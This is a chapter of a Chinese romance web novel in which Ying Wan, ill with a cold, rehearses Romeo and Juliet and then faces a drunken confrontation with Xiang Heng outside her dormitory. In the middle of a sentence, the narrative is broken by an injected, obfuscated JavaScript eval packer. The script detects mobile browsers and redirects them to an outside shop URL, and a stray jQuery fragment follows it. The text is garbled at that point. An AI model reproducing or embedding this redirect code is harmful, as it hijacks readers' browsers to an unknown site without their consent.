纪心瑶和文嘉每天都在忙宣传片的事,个个早出晚归,应挽突然成了整个宿舍里最闲的人。
感冒最重的阶段过去,她就把药停了,可上了好几天课,还是断断续续地咳嗽,一直不见好。
她只见过项珩两次。
第一次,在图书馆。
应挽埋头补了一个小时的作业,脑子昏沉,抬起头,先看见的是秦冉。
秦冉隔了几个桌子,坐在靠墙的位置,身上披了件驼色披肩,露出两截素白的手腕。项珩和她并肩坐着,单手撑着下颌,皱眉盯着面前的电脑屏幕,周身气质很冷。
秦冉不知遇到什么问题,抬手碰了下他的肩。项珩目光从电脑里抽出来,眉头舒展开,头往秦冉那边靠了些,低头给她讲书上的内容。
耳畔只有轻柔的钢琴曲,像在给眼前美好的画面作配,应挽静静看了几秒,缓慢收回了目光。
等到她再一次抬起头,余光里,那个座位已经空了。
第二次,是周末例行的口语课。
两人的座位仍是隔了十万八千里。应挽坐在前门旁边,下了课,她清楚地看见项珩和欧阳彻从门边经过,然后被一个女生拦住。
女生手里紧紧攥着自己的手机,面色羞红。环境嘈杂,应挽听不清她在说什么,但能看见她的口型,磕磕绊绊的。那个高挑的背影一动不动,看不见他的神情,倒是一旁的欧阳彻肩膀一颤一颤的,估计是被女孩逗笑了。
“应挽,走。”老师收拾好教具,在讲台上唤她。
麦克风还开着,把她的声音扩了出去。
项珩回头看了一眼。
应挽撞上他漆黑的眼眸,正要低头,他目光便轻描淡写地移开,仿佛只是扫视了一圈,没有为任何一人停留。
他又恢复了那些八卦传闻中的模样,他们之间的一切,像是从未发生过。
他看她,像看陌生人。
回京城那日,她盯着季老师的回复看了半天,差点坐过站。两个从未在一起过的人,谈何“散了”?
这不就是你想要的吗?应挽强行忍下咳嗽的冲动。
她站起身,跟在老师身后出教室。走到门口,老师看着校园里屡见不鲜的表白大戏,调侃一句:“可以嘛项珩,魅力不小啊。”
他露出个得体的微笑,侧身让开通道。
告白的女孩脸更红了,也自觉往旁边挪了点,不知是不是太紧张,一个踉跄就要把自己绊倒。项珩眼疾手快地扶了一下她的胳膊,又很快放开。
等再抬眼去看,那个纤瘦的背影已经走出很远了。
话剧的排练安排在每周六上午,可惜应挽早上要上课,只能下课以后去合练一次。
老师带应挽进了三楼的智慧教室。教室是提前预约好的,桌椅被通通挪到了墙角,腾出一大块空地,美其名曰排练室。
虽然是第一次见,但屋里的一群人和昨日在群里一样热情。老师带着应挽一一认识每个人的角色,随后一声令下,开始最后一次合练。
话剧改编自莎翁经典,《罗密欧与朱丽叶》。
剧情早已是老生常谈。一对至死不渝的恋人,在家族仇恨下双双赴死,待到仇恨消弭,生命却早已无法挽回。
最后一幕,朱丽叶高高举起匕首,刺向自己的身体,然后缓缓倒在了那个曾经互诉衷肠的男人身边,以一种毅然决然的姿态,踏进了爱情的坟墓。
应挽缓缓念出了最后一句念白。
“Forneverwasastorymorewoe/ThanthisofJulietandherRomeo.”
从未有过,比他们更悲伤的故事。
一瞬间,屋里陷入一种旷大的安静。应挽胸口闷闷的,忍不住低咳了两声。
躺在地上的“罗密欧”突然大力鼓掌。慢慢地,欢呼声此起彼伏。显然,应挽的加入为这场表演增色了不少。
待到将桌椅回归原位,已经过了饭点。应挽没什么胃口,本想直接去教室,却突然收到群消息,下午的商务英语暂停一次,补到学期末。
思忖一会儿,她给家教的女主人打了申请,想在下午加一节家教课,把之前病假缺的课时补上。对面答应得十分爽快,让她直接过来。
应挽随便对付了口午饭,从下午两点一直讲到了晚上七点。就是苦了沐沐,一张小脸皱成了包子。
走出别墅大门的时候,本就没好全的嗓子更是接近报废,她掏出包里的锡纸板,按出两颗润喉糖塞进嘴里。
嗓子的肿胀倒是次要的,应挽揉揉抽疼的肚子。中午糊口的那两块小面包早就消耗殆尽,酸水一路往上,直冲喉咙。
脚步停住,应挽走进了那家路过无数次的咖啡店。
咖啡店就在距离别墅区不足百米的位置,装潢复古华丽。应挽站到点餐台,才发现价格并非她以往担忧的天价,不过是比连锁咖啡厅稍高一些。
“一个司康,还有......一杯海盐拿铁。”
应挽喜欢咸口的东西,那天的甜水面,倒是个意外。
食物下肚,胃里终于舒服不少,应挽刚要起身,突然听见个熟悉的声音。
“姐?”
应挽抬头,看见应水柔一身光鲜亮丽的名牌,挎着个粉色鳄鱼皮包包站在桌前。她挽着的那个男生,看起来有些眼熟。
男生视线在她脸上定住,错愕两秒。
应挽微微皱眉,盯着他看了会儿,突然想起这人是谁。高一,他在走廊撞上自己,泼了她一身水,教室后面空调的冷风,她到现在都记得。
褪去质朴的校服,面前的男生一身剪裁合体的休闲装,上衣胸口位置的LOGO很炸眼。头发用发泥抓起来,看起来与高中时判若两人。
“祁连,给你介绍一下,这是我姐,应挽。”
“你好,我是祁连。”他脸上错愕退去,换上一个温和的笑,“水柔总跟我提起你,真是......久仰大名。”
他加重了最后那四个字。
其实应挽知道他的名字。她记忆力很不错,高三的时候,男生做过国旗下讲话,同桌还称赞他名字取得很有标志性。
“你好。”应挽忽略他意味深长的语气,没什么表情,冷淡应着。
只是一开口,连她也被自己的声音吓了一跳。又低又哑,简直不能入耳。
“姐,你生病了啊?”应水柔的眼神十分有引导性地,往别墅区的方向偏了一下,“你怎么会在这儿?”
“在这边做家教。”
“哦…...我说呢。”她一脸了然,甚至露出几分悲悯的神色,“对了,今天祁连在家里开party,就在最近的那栋别墅,你要一起来吗?”
“不了,”应挽站起身,“我先走了。”
嗓子实在肿的不行,一咽口水就满是异物感。推开玻璃门,应挽又去拆润喉糖。有车在她身后按了下喇叭,她低头往路边让了两步。
应挽将糖块含进嘴里,才发现车尾的牌照很眼熟。
黑色宾利慢速驶过,车窗严实地关着,看不见里头的光景。华灯初上的街景在车漆上高高低低地滑过,瞬间只余一阵车尾气。
-
回到宿舍,仍是空无一人,应挽没开灯,在黑暗中静静坐了一会儿。身体已经十分疲累,她本想起身洗漱,神经却一跳一跳,高度兴奋着。
话剧群里,“罗密欧-林宋”@了全体成员。
【闲来无事,有人陪我加练否?】
“朱丽叶-孟楚”回得最快,问他在哪。群里陆陆续续有人答应,也有不少人笑骂,大好的周六夜,正逍遥着呢,谁陪你加班加点啊?
应挽在黑暗中,试着小声说了两句话,仍是沙哑得没法入耳。
【我嗓子可能说不了话,能去看看吗?】她在群里发。
她不想一个人在这里待着。
【当然!】孟楚秒回,【哪有那么正式,一起玩嘛。】
应挽到教室的时候,其他人已经到齐了,左不过一共五六个人。
看见孟楚朝她招手,应挽应了一声。听见自己的音色,她忍不住笑笑。
孟楚看出应挽的歉意,“其实就是林宋大晚上戏瘾犯了,想找人看他演戏罢了,来来,一起坐。”
桌上摆了各种零食饮料,这哪像是加练,分明是开联欢会来了。
“哎,孟小楚,你这话我不爱听啊,”林宋抱怨道:“是谁要点名要薯片和汽水,又是谁千里迢迢给买来的?”
“就会瞎贫。”孟楚白了他一眼。
林宋和孟楚是一对儿,应挽中午就看出来了。
两人皆是爽朗温和的性子,飙起戏来却谁也不输谁。几个人挑出剧本里重点的部分,练一会儿,聊一会儿,应挽静静在稿子上打笔记,偶尔也开口讨论两句。
时间过得飞快,竟不知不觉逼近十一点。
几个人里,只有应挽和孟楚两个女生,林宋自告奋勇送两个姑娘回寝室。应挽明白他是想和孟楚多呆一会儿,反而庆幸起自己嗓子不好,给他们两人留足了空间。
两个人一路拌着嘴,孟楚像只叽叽喳喳的小麻雀,林宋笑着听她讲,偶尔插两句嘴,说到孟楚不高兴的地方,又急匆匆去哄。
应挽在一旁静静听着,说不羡慕是假的。
先到孟楚的宿舍楼,应挽想自己回去,让两人二人世界一会儿,孟楚却让林宋送她。应挽的宿舍楼在最边缘那栋,这个时间,路上已经没什么人,看着确实不怎么安全。
孟楚强烈要求,应挽只好答应下来。
离终点还有一段距离,应挽有些沉默,林宋却十分自然:“孟楚从小就这样,喜欢为别人考虑,放到现在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17652904|206443||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
得叫那个什么,利他型人格?”
应挽不禁感叹:“你们感情真好。”
“小时候穿一条裤子长大的,能不好么,该吵的架早都吵完了。”林宋一副已经步入老夫老妻的样子,“孟楚小时候净喜欢看那些狗血伦理剧,天天拉着我一起模仿,没想到,还真给练出来了。”
应挽被逗笑了,嗓子呛了风,又开始咳嗽。
“不过你嗓子中午还好好的,怎么才一下午就哑成这样?最近的病毒这么厉害?”
应挽刚要回答,突然看到宿舍楼前停了辆车,车灯打过来,刚好能叫人看清前面的车牌。
项珩倚在车边,一身黑色正装,双手环胸站着。听见对话声,他直直看过来,目光锁在应挽身上。一双深邃的眼眸隐在眉骨的阴影下,投射过来的眼神却亮的可怕。
应挽的话抵在喉咙里,上不上下不下。她像被钉在原地,动弹不得,只能看着项珩从车上直起身,慢慢朝自己走过来。
项珩步子迈得不像平日里那样稳,等他走进了,应挽才闻见一股浓重的酒味。
他喝酒了?
“应挽,你眼光真够差的。”他启唇,话音里极尽嘲讽,夹着隐约的醉意。
他上下打量着林宋,目光里有浓重的压迫感。
应挽皱起眉,抱歉地看向林宋,林宋却满不在意地耸耸肩:“那我先回去了?下周六见。”
应挽不好再说什么,只能勉强勾起一点笑意,点点头。
林宋走远了。
“你来干什么。”应挽被空气里的安静压得几近窒息。
听见她沙哑的嗓音,项珩眉头拧了一下。
“你感冒怎么还没好?”不知是不是酒精作祟,他的嗓音也比平时要哑上几分,“应挽,你要是不会挑男朋友,可以不用这么急。”
“你来,是为了说这个?”应挽心里突然窜起一股怒意,强忍着喉咙的不适反问,“为了嘲讽我的眼光?”
“他配不上你。”
“你凭什么管我?”明明已是深夜,空气染上了寒意,应挽却感觉喉咙里有把火在烧,她几乎是嘶哑着在质问。
“是啊,我凭什么管你。”项珩突然笑了,应挽第一次见他这么笑,笑得太诡异了,眼神里全是荒唐,”我还以为,你至少不会这么快——”
他突然停住了。
“什么?”
“移情别恋。”
他恶狠狠念出那四个字。
那你和秦冉呢?我在图书馆是瞎了眼吗?
应挽忍不住冷笑出声,被风呛到,又剧烈咳嗽起来。
“你凭什么觉得,我对你有过感情?”
她感觉喉咙里的火一把烧到了鼻腔,又烧到眼眶,每吐出一个字,心脏就剧痛一下。
尾音很快消失在风里。沉默持续了很久,很久,久到应挽觉得心脏快要停止泵血,项珩才缓缓启唇。
“应挽,你就算真的……移情别恋,也不用说这种话来羞辱我。”
他语气一瞬弱下来。
应挽脸颊一凉,突然无法控制地落了泪。
他抬手,想去碰她的脸。
精致的袖扣在惨白车灯里晃出一道刺眼的光,应挽心里一惊,猛的推了他一把。项珩脚下没设防,竟被推的一个趔趄,差点摔倒。
应挽觉得自己没法再在这里待下去,她转身要走。
迈出一步,突然想起什么,微微扭头:“等一下,我有东西要还你。”
她语速很快,不敢看他的眼神。脚下步子迈得越来越快,一开始是快走,进了楼梯间,三步并两步跑起来。
瓷砖铺就的楼梯反射着微弱的白炽灯光,在眼前糊成一片,应挽冲进宿舍门,在衣柜里翻找那几件不属于她的衣服。
刚才跑得太快,她剧烈呼吸着,控制不住地咳嗽,泪不知道是呛出来的,还是自己流出来的。
跑下楼,又是一阵脚步声。宿管阿姨不满地探出头:“姑娘,马上锁门了!”
说完又低头小声嘀咕:“小姑娘家家,谈个恋爱,也不知道矜持一点。”
应挽置若罔闻。她刹住脚步,站在台阶上,看见项珩仍站在原地,像一只被遗弃在路边的狗。司机目不斜视地在驾驶座坐着,仿佛对一切都不知情。
要走散吗。
应挽一步步向他走过去,每一步都像踩在虚空中。
一共十步,不多不少,她站到他身前。纸袋窸窣作响,她递到他面前。
他手指动了一下,插进口袋里。
谁都没说话。
指针转到十二点,头顶的路灯灭了。
世界落入黑暗。纸袋被妥帖地放置在他脚边,发出轻微的摩擦声。女孩的脚步声很轻很轻,渐渐听不见了。
零点的钟声敲响,这一次,灰姑娘没有遗落她的水晶鞋。